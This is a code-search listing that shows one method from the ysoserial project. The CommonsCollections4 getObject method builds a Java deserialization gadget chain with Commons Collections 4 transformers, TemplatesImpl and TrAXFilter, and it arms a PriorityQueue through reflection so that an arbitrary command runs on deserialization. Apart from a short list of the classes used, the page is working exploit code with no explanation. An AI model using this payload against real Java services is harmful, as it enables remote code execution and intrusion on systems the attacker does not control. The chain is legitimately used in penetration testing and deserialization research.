Search in sources :

Example 1 with ConstantTransformer

use of org.apache.commons.collections4.functors.ConstantTransformer in project ysoserial by frohoff.

the class CommonsCollections4 method getObject.

public Queue<Object> getObject(final String command) throws Exception {
    Object templates = Gadgets.createTemplatesImpl(command);
    ConstantTransformer constant = new ConstantTransformer(String.class);
    // mock method name until armed
    Class[] paramTypes = new Class[] { String.class };
    Object[] args = new Object[] { "foo" };
    InstantiateTransformer instantiate = new InstantiateTransformer(paramTypes, args);
    // grab defensively copied arrays
    paramTypes = (Class[]) Reflections.getFieldValue(instantiate, "iParamTypes");
    args = (Object[]) Reflections.getFieldValue(instantiate, "iArgs");
    ChainedTransformer chain = new ChainedTransformer(new Transformer[] { constant, instantiate });
    // create queue with numbers
    PriorityQueue<Object> queue = new PriorityQueue<Object>(2, new TransformingComparator(chain));
    queue.add(1);
    queue.add(1);
    // swap in values to arm
    Reflections.setFieldValue(constant, "iConstant", TrAXFilter.class);
    paramTypes[0] = Templates.class;
    args[0] = templates;
    return queue;
}
Also used : InstantiateTransformer(org.apache.commons.collections4.functors.InstantiateTransformer) ChainedTransformer(org.apache.commons.collections4.functors.ChainedTransformer) PriorityQueue(java.util.PriorityQueue) TransformingComparator(org.apache.commons.collections4.comparators.TransformingComparator) ConstantTransformer(org.apache.commons.collections4.functors.ConstantTransformer)

Aggregations

PriorityQueue (java.util.PriorityQueue)1 TransformingComparator (org.apache.commons.collections4.comparators.TransformingComparator)1 ChainedTransformer (org.apache.commons.collections4.functors.ChainedTransformer)1 ConstantTransformer (org.apache.commons.collections4.functors.ConstantTransformer)1 InstantiateTransformer (org.apache.commons.collections4.functors.InstantiateTransformer)1